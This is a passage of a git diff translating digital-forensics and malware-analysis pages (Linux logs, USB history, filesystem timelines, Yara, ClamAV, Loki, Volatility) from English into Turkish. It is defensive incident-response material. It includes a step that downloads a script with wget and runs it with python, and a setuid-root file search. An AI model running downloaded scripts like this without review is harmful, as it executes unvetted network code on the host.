Başarısız giriş girişimlerini belgeler. +- **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir. +- **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder. +- **/var/log/xferlog**: FTP dosya transferlerini kaydeder. +- **/var/log/**: Beklenmedik günlükler için burayı her zaman kontrol edin. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayı sırasında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir. -**Linux maintains a command history for each user**, stored in: +**Linux, her kullanıcı için bir komut geçmişi tutar**, şu dosyalarda saklanır: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Ayrıca, `last -Faiwx` komutu kullanıcı girişlerinin bir listesini sağlar. Bilinmeyen veya beklenmedik girişler için kontrol edin. -Check files that can grant extra rprivileges: +Ek rprivilejeleri verebilecek dosyaları kontrol edin: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers` dosyasını gözden geçirin. +- Verilen beklenmedik kullanıcı ayrıcalıkları için `/etc/sudoers.d/` dosyasını gözden geçirin. +- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/groups` dosyasını inceleyin. +- Herhangi bir olağandışı grup üyeliği veya izinleri tanımlamak için `/etc/passwd` dosyasını inceleyin. -Some apps alse generates its own logs: +Bazı uygulamalar ayrıca kendi günlüklerini oluşturur: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Yetkisiz uzaktan bağlantılar için _\~/.ssh/authorized_keys_ ve _\~/.ssh/known_hosts_ dosyalarını inceleyin. +- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla yakın zamanda erişilen dosyalar için _\~/.recently-used.xbel_ dosyasını kontrol edin. +- **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişi ve indirmeleri kontrol edin. +- **VIM**: Erişim sağlanan dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını gözden geçirin. +- **Open Office**: Kompromize olmuş dosyaları gösterebilecek yakın tarihli belge erişimlerini kontrol edin. +- **FTP/SFTP**: Yetkisiz olabilecek dosya transferleri için _\~/.ftp_history_ veya _\~/.sftp_history_ dosyalarını gözden geçirin. +- **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek yürütülen MySQL sorguları için _\~/.mysql_history_ dosyasını araştırın. +- **Less**: Görüntülenen dosyalar ve yürütülen komutlar dahil olmak üzere kullanım geçmişi için _\~/.lesshst_ dosyasını analiz edin. +- **Git**: Depolardaki değişiklikler için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin. -### USB Logs +### USB Günlükleri -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Kullanılan tüm USB'leri **bilmek** ilginçtir ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahip olmanız daha faydalı olacaktır (o listedeki USB'lerin dışındaki USB'lerin kullanımı). +### Kurulum ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Örnekler ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +Daha fazla örnek ve bilgi github'da: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## Kullanıcı Hesaplarını ve Giriş Aktivitelerini Gözden Geçirin -
+_**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** olağandışı isimler veya bilinen yetkisiz olaylarla yakın zamanda oluşturulmuş veya kullanılmış hesaplar için inceleyin. Ayrıca, olası sudo brute-force saldırılarını kontrol edin.\ +Ayrıca, kullanıcılara verilen beklenmedik ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ +Son olarak, **şifresiz** veya **kolay tahmin edilebilen** şifreleri olan hesapları arayın. -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## Dosya Sistemini İnceleyin -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +### Kötü Amaçlı Yazılım Soruşturmasında Dosya Sistemi Yapılarını Analiz Etme -## Review User Accounts and Logon Activities +Kötü amaçlı yazılım olaylarını araştırırken, dosya sisteminin yapısı bilgi için kritik bir kaynaktır ve hem olayların sırasını hem de kötü amaçlı yazılımın içeriğini ortaya çıkarır. Ancak, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirmek veya veri depolamak için dosya sisteminden kaçınmak gibi bu analizi engellemek için teknikler geliştirmektedir. -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Bu anti-forensic yöntemlere karşı koymak için, şunları yapmak önemlidir: +- **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak kapsamlı bir zaman çizelgesi analizi yapın veya detaylı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime` aracını kullanın. +- **Sistemin $PATH'inde beklenmedik betikleri** araştırın; bu, saldırganlar tarafından kullanılan shell veya PHP betiklerini içerebilir. +- **Atypik dosyalar için `/dev`'i inceleyin**, çünkü genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyalar barındırabilir. +- **Kötü amaçlı içeriği gizleyebilecek** ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip gizli dosyaları veya dizinleri arayın. +- **Yükseltilmiş izinlere sahip setuid root dosyalarını** bulmak için şu komutu kullanın: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur. +- **Kütük tablolarındaki silme zaman damgalarını** gözden geçirerek, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silme işlemlerini tespit edin. +- **Birini belirledikten sonra** yan yana kötü amaçlı dosyalar için ardışık inode'ları inceleyin; çünkü bunlar birlikte yerleştirilmiş olabilir. +- **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Bir **saldırganın** **zamanı** **değiştirerek** **dosyaların meşru görünmesini** sağlayabileceğini, ancak **inode'u** **değiştiremeyeceğini** unutmayın. Eğer bir **dosyanın**, aynı klasördeki diğer dosyalarla **aynı anda** oluşturulup **değiştirildiğini** gösterdiğini, ancak **inode'unun** **beklenmedik şekilde büyük** olduğunu bulursanız, o **dosyanın zaman damgalarının değiştirildiği** anlamına gelir. -## Compare files of different filesystem versions +## Farklı dosya sistemi sürümlerini karşılaştırma -### Filesystem Version Comparison Summary +### Dosya Sistemi Sürüm Karşılaştırma Özeti -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Dosya sistemi sürümlerini karşılaştırmak ve değişiklikleri belirlemek için basitleştirilmiş `git diff` komutlarını kullanıyoruz: +- **Yeni dosyaları bulmak için**, iki dizini karşılaştırın: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Değiştirilmiş içerik için**, değişiklikleri belirli satırları göz ardı ederek listeleyin: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Silinmiş dosyaları tespit etmek için**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere daraltmaya yardımcı olur. +- `A`: Eklenen dosyalar +- `C`: Kopyalanan dosyalar +- `D`: Silinen dosyalar +- `M`: Değiştirilen dosyalar +- `R`: Yeniden adlandırılan dosyalar +- `T`: Tür değişiklikleri (örneğin, dosya ile symlink arasında) +- `U`: Birleştirilmemiş dosyalar +- `X`: Bilinmeyen dosyalar +- `B`: Bozuk dosyalar -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Referanslar - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Kitap: Linux Sistemleri için Kötü Amaçlı Yazılım Adli Bilişim Alan Rehberi** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..d8c8ccd82 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Kötü Amaçlı Yazılım Analizi {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## Adli Bilişim Hile Sayfaları [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Çevrimiçi Hizmetler - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Çevrimdışı Antivirüs ve Tespit Araçları ### Yara -#### Install - +#### Kurulum ```bash sudo apt-get install -y yara ``` +#### Kuralları Hazırlayın -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Bu script'i kullanarak github'dan tüm yara kötü amaçlı yazılım kurallarını indirin ve birleştirin: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ dizinini oluşturun ve çalıştırın. Bu, tüm kötü amaçlı yazılım için yara kurallarını içeren _**malware_rules.yar**_ adlı bir dosya oluşturacaktır. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Tarama ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Kötü amaçlı yazılımı kontrol et ve kurallar oluştur -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Binary'den yara kuralları oluşturmak için [**YaraGen**](https://github.com/Neo23x0/yarGen) aracını kullanabilirsiniz. Bu eğitimlere göz atın: [**Bölüm 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Bölüm 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Bölüm 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Kurulum ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Tarama ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa**, yürütülebilir dosyalarda potansiyel olarak zararlı **yetenekleri** tespit eder: PE, ELF, .NET. Bu nedenle, Att\&ck taktikleri veya şüpheli yetenekler gibi şeyleri bulacaktır: -- check for OutputDebugString error -- run as a service -- create process +- OutputDebugString hatasını kontrol et +- bir hizmet olarak çalış +- işlem oluştur -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Bunu [**Github repo**](https://github.com/mandiant/capa) üzerinden edinebilirsiniz. ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC, Kompromi Göstergesi anlamına gelir. Bir IOC, bazı potansiyel olarak istenmeyen yazılımları veya onaylanmış **kötü amaçlı yazılımları** tanımlayan **koşulların** bir setidir. Mavi Takımlar, bu tür tanımları **sistemlerinde** ve **ağlarında** bu tür kötü amaçlı dosyaları **arama** amacıyla kullanır.\ +Bu tanımları paylaşmak çok faydalıdır çünkü bir bilgisayarda kötü amaçlı yazılım tespit edildiğinde ve o kötü amaçlı yazılım için bir IOC oluşturulduğunda, diğer Mavi Takımlar bunu kötü amaçlı yazılımı daha hızlı tanımlamak için kullanabilir. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOC'leri oluşturmak veya değiştirmek için bir araç [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Tanımlı IOC'leri bir cihazda **arama** yapmak için [**Redline**](https://www.fireeye.com/services/freeware/redline.html) gibi araçları kullanabilirsiniz. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki), Basit Kompromi Göstergeleri için bir tarayıcıdır.\ +Tespit, dört tespit yöntemine dayanmaktadır: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) , paylaşımlı barındırma ortamlarında karşılaşılan tehditler etrafında tasarlanmış, GNU GPLv2 lisansı altında yayımlanan bir Linux kötü amaçlı yazılım tarayıcısıdır. Saldırılarda aktif olarak kullanılan kötü amaçlı yazılımları çıkarmak ve tespit için imzalar oluşturmak amacıyla ağ kenarı saldırı tespit sistemlerinden tehdit verilerini kullanır. Ayrıca, tehdit verileri LMD ödeme özelliği ile kullanıcı gönderimlerinden ve kötü amaçlı yazılım topluluğu kaynaklarından da elde edilmektedir. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +[**rkhunter**](http://rkhunter.sourceforge.net) gibi araçlar, dosya sistemini olası **rootkit** ve kötü amaçlı yazılımlar için kontrol etmek amacıyla kullanılabilir. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) bir dizi farklı teknik kullanarak yürütülebilir dosyalar içinde obfuscate edilmiş dizeleri bulmaya çalışan bir araçtır. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) yürütülebilir dosya içinde bazı temel bilgileri (ikili veriler, entropi, URL'ler ve IP'ler, bazı yara kuralları) kontrol eder. ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) Windows yürütülebilir dosyaları hakkında bilgi almayı sağlayan bir araçtır; örneğin, ithalatlar, ihracatlar, başlıklar gibi bilgileri alır, ayrıca virüs toplamını kontrol eder ve potansiyel Att\&ck tekniklerini bulur. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) bir dosyanın **şifreli** olup olmadığını tespit etmek ve ayrıca **paketleyicileri** bulmak için kullanılan bir araçtır. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) metin/script dosyaları içinde **obfuscate** edilmiş ve **şifreli** içeriği tespit etmek için çeşitli **istatistiksel yöntemler** kullanan bir Python betiğidir. NeoPI'nin amacı, **gizli web shell kodunun tespitine** yardımcı olmaktır. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) **obfuscate** edilmiş/**şüpheli kodu** ve genellikle **malware**/webshell'lerde kullanılan **PHP** fonksiyonlarını içeren dosyaları tespit etmek için elinden gelenin en iyisini yapar. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Bazı **malware örneklerini** kontrol ederken, imzayı her zaman **kontrol etmelisiniz** çünkü imzayı atan **geliştirici** zaten **malware** ile **ilişkili** olabilir. ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Tespit Teknikleri -## Detection Techniques +### Dosya Yığma -### File Stacking +Eğer bir web sunucusunun **dosyalarını** içeren bir klasörün **son güncelleme tarihini** biliyorsanız, **web sunucusundaki tüm dosyaların oluşturulma ve değiştirilme tarihlerini kontrol edin** ve eğer herhangi bir tarih **şüpheli** ise, o dosyayı kontrol edin. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Temel Değerler -### Baselines +Eğer bir klasörün dosyaları **değiştirilmemiş olmalıysa**, klasörün **orijinal dosyalarının** **hash'ini** hesaplayabilir ve bunları **mevcut** olanlarla **karşılaştırabilirsiniz**. Değiştirilen her şey **şüpheli** olacaktır. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### İstatistiksel Analiz -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Bilgiler günlüklerde saklandığında, her bir web sunucusu dosyasının ne kadar kez erişildiği gibi **istatistikleri kontrol edebilirsiniz; çünkü bir web shell en çok erişilenlerden biri olabilir**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..42d2c0528 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Bellek dökümü analizi {{#include ../../../banners/hacktricks-training.md}} -
+## Başlangıç -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +**Kötü amaçlı yazılım** için pcap içinde **arama** yapmaya başlayın. [**Kötü Amaçlı Yazılım Analizi**](../malware-analysis.md) bölümünde belirtilen **araçları** kullanın. ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility, bellek dökümü analizi için ana açık kaynak çerçevesidir**. Bu Python aracı, dış kaynaklardan veya VMware sanal makinelerinden gelen dökümleri analiz eder, dökümün işletim sistemi profiline dayalı olarak süreçler ve şifreler gibi verileri tanımlar. Eklentilerle genişletilebilir, bu da onu adli soruşturmalar için son derece çok yönlü hale getirir. -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[Buradan bir kılavuz bulabilirsiniz](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## Mini döküm çökme raporu -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Döküm küçükse (sadece birkaç KB, belki birkaç MB) muhtemelen bir mini döküm çökme raporudur ve bellek dökümü değildir. ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Eğer Visual Studio yüklüyse, bu dosyayı açabilir ve süreç adı, mimari, istisna bilgisi ve yürütülen modüller gibi bazı temel bilgileri bağlayabilirsiniz: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +Ayrıca istisnayı yükleyebilir ve decompile edilmiş talimatları görebilirsiniz. ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Her neyse, Visual Studio, dökümün derinlemesine analizi için en iyi araç değildir. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Bunu **IDA** veya **Radare** kullanarak **derinlemesine** incelemek için **açmalısınız**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..8c90f1285 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,23 +1,23 @@ -# Partitions/File Systems/Carving +# Partitions/Dosya Sistemleri/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Partisyonlar -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Bir sabit disk veya bir **SSD diski, verileri fiziksel olarak ayırma** amacıyla farklı partisyonlar içerebilir.\ +Diskin **minimum** birimi **sektördür** (normalde 512B'den oluşur). Bu nedenle, her bir partisyon boyutu bu boyutun katı olmalıdır. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be 